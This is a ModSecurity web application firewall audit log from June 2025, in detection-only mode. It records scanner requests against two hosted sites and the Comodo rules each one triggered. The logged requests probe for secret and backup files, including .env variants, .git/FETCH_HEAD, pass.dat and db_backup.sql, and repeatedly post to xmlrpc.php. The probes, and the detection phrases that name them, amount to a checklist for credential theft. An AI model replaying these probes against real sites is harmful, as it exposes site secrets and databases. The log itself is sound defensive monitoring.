"/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/config/.env"] [unique_id "aE8velfWRcme38U-qk7nLgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019962156199 683995 (- - -) Stopwatch2: 1750019962156199 683995; combined=2127, p1=492, p2=1532, p3=0, p4=0, p5=103, sr=136, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cd25fa7b-Z-- --14a1f255-A-- [16/Jun/2025:02:09:25.549558 +0530] aE8vfE-pZ3B--SoGku83NQAAABE 185.177.72.210 34148 127.0.0.1 7081 --14a1f255-B-- GET /.env.test.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --14a1f255-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0abb7335e69389608bb4e1064a2178871750019965; expires=Sun, 15 Jun 2025 21:39:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --14a1f255-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.test.local"] [unique_id "aE8vfE-pZ3B--SoGku83NQAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019964854490 695129 (- - -) Stopwatch2: 1750019964854490 695129; combined=1947, p1=407, p2=1443, p3=0, p4=0, p5=97, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --14a1f255-Z-- --37739b77-A-- [16/Jun/2025:02:09:44.297842 +0530] aE8vj4v0YhcYGG7mzIpk3gAAABU 128.199.112.101 49010 127.0.0.1 7081 --37739b77-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --37739b77-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --37739b77-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8vj4v0YhcYGG7mzIpk3gAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019983366309 931589 (- - -) Stopwatch2: 1750019983366309 931589; combined=2162, p1=441, p2=1322, p3=45, p4=64, p5=178, sr=134, sw=112, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --37739b77-Z-- --8b4f5a22-A-- [16/Jun/2025:02:10:23.387681 +0530] aE8vttxCjYf3vhjKXItt5wAAAA8 185.177.72.210 55392 127.0.0.1 7081 --8b4f5a22-B-- GET /html/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8b4f5a22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6aceb4a932caa6b3c9bd3fea863b46521750020023; expires=Sun, 15 Jun 2025 21:40:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8b4f5a22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/html/.env"] [unique_id "aE8vttxCjYf3vhjKXItt5wAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020022527980 859790 (- - -) Stopwatch2: 1750020022527980 859790; combined=1836, p1=380, p2=1345, p3=0, p4=0, p5=110, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8b4f5a22-Z-- --208bc200-A-- [16/Jun/2025:02:10:30.318205 +0530] aE8vvUaRoH9PZO5fwRnh9AAAAAw 185.177.72.210 47452 127.0.0.1 7081 --208bc200-B-- GET /:8880/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --208bc200-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6e1551dcc20d6c5b4e930b06baf5a3321750020030; expires=Sun, 15 Jun 2025 21:40:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --208bc200-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/api/.env"] [unique_id "aE8vvUaRoH9PZO5fwRnh9AAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020029566106 752168 (- - -) Stopwatch2: 1750020029566106 752168; combined=153900, p1=385, p2=1569, p3=0, p4=0, p5=76028, sr=103, sw=1, l=0, gc=75917 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --208bc200-Z-- --0458de06-A-- [16/Jun/2025:02:10:33.105781 +0530] aE8vwGBSQiWwwCa-v2QBdwAAAAQ 185.177.72.210 47540 127.0.0.1 7081 --0458de06-B-- GET /pass.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0458de06-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=97f9d7da6873900585f418cfa2ab9c1d1750020032; expires=Sun, 15 Jun 2025 21:40:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0458de06-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/pass.dat"] [unique_id "aE8vwGBSQiWwwCa-v2QBdwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020032419586 686257 (- - -) Stopwatch2: 1750020032419586 686257; combined=2123, p1=407, p2=1615, p3=0, p4=0, p5=100, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0458de06-Z-- --119d134a-A-- [16/Jun/2025:02:10:42.382935 +0530] aE8vyYv0YhcYGG7mzIpk9gAAABU 185.177.72.210 43476 127.0.0.1 7081 --119d134a-B-- GET /.pwd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --119d134a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1e88f7677c0a652f85a02a4f546afc4e1750020042; expires=Sun, 15 Jun 2025 21:40:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --119d134a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.pwd"] [unique_id "aE8vyYv0YhcYGG7mzIpk9gAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020041710182 672827 (- - -) Stopwatch2: 1750020041710182 672827; combined=1825, p1=407, p2=1326, p3=0, p4=0, p5=92, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --119d134a-Z-- --d82aac53-A-- [16/Jun/2025:02:10:43.373165 +0530] aE8vytxCjYf3vhjKXItt7wAAAA8 185.177.72.210 43520 127.0.0.1 7081 --d82aac53-B-- GET /wps/PA_WCM_Authoring_UI/proxy/http/example.com HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d82aac53-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1640952611457eff13810ceb54d45b291750020043; expires=Sun, 15 Jun 2025 21:40:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d82aac53-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wps/PA_WCM_Authoring_UI/proxy/http/example.com"] [unique_id "aE8vytxCjYf3vhjKXItt7wAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020042714224 659005 (- - -) Stopwatch2: 1750020042714224 659005; combined=2116, p1=322, p2=1699, p3=0, p4=0, p5=95, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d82aac53-Z-- --e9d11365-A-- [16/Jun/2025:02:10:44.537196 +0530] aE8vyyHEjD4mqWjYVm12wgAAABM 128.199.112.101 43550 127.0.0.1 7081 --e9d11365-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e9d11365-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e9d11365-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8vyyHEjD4mqWjYVm12wgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020043612065 925188 (- - -) Stopwatch2: 1750020043612065 925188; combined=2182, p1=402, p2=1405, p3=44, p4=61, p5=169, sr=101, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e9d11365-Z-- --5cd2c229-A-- [16/Jun/2025:02:11:44.126411 +0530] aE8wB4l8S04UZ4l67-nXyQAAAAk 128.199.112.101 33724 127.0.0.1 7081 --5cd2c229-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5cd2c229-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5cd2c229-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8wB4l8S04UZ4l67-nXyQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020103184874 941596 (- - -) Stopwatch2: 1750020103184874 941596; combined=2562, p1=369, p2=1680, p3=48, p4=69, p5=251, sr=105, sw=145, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5cd2c229-Z-- --a2935f58-A-- [16/Jun/2025:02:11:52.867931 +0530] aE8wENxCjYf3vhjKXItuCQAAAA8 185.177.72.210 56124 127.0.0.1 7081 --a2935f58-B-- GET /.git/FETCH_HEAD HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a2935f58-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c637872b4486d11bc4e602e868e852e21750020112; expires=Sun, 15 Jun 2025 21:41:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a2935f58-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/FETCH_HEAD"] [unique_id "aE8wENxCjYf3vhjKXItuCQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020112115007 752991 (- - -) Stopwatch2: 1750020112115007 752991; combined=155889, p1=370, p2=1219, p3=0, p4=0, p5=77202, sr=87, sw=1, l=0, gc=77097 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a2935f58-Z-- --18323e3d-A-- [16/Jun/2025:02:11:58.600490 +0530] aE8wFYv0YhcYGG7mzIplEwAAABU 185.177.72.210 56356 127.0.0.1 7081 --18323e3d-B-- GET /:8880/build/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --18323e3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6093e17f99a597cb4fe442e0185ec1c61750020118; expires=Sun, 15 Jun 2025 21:41:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --18323e3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/build/.env"] [unique_id "aE8wFYv0YhcYGG7mzIplEwAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020117954381 646217 (- - -) Stopwatch2: 1750020117954381 646217; combined=1710, p1=394, p2=1196, p3=0, p4=0, p5=119, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --18323e3d-Z-- --15f3321d-A-- [16/Jun/2025:02:12:03.609808 +0530] aE8wGol8S04UZ4l67-nX0QAAAAk 185.177.72.210 50536 127.0.0.1 7081 --15f3321d-B-- GET /react_todo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --15f3321d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=862baa163615fac44ecb70492424fe2c1750020123; expires=Sun, 15 Jun 2025 21:42:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --15f3321d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/react_todo/.env"] [unique_id "aE8wGol8S04UZ4l67-nX0QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020122932167 678403 (- - -) Stopwatch2: 1750020122932167 678403; combined=2197, p1=476, p2=1607, p3=0, p4=0, p5=113, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --15f3321d-Z-- --0d29cc03-A-- [16/Jun/2025:02:12:07.374065 +0530] aE8wHjW73rwPI0SU-ijtywAAAAA 185.177.72.210 50650 127.0.0.1 7081 --0d29cc03-B-- GET /bak/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0d29cc03-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9d24dea675dc40066560e192717b26741750020127; expires=Sun, 15 Jun 2025 21:42:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0d29cc03-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bak/db_backup.sql"] [unique_id "aE8wHjW73rwPI0SU-ijtywAAAAA"] Apache-Handler: 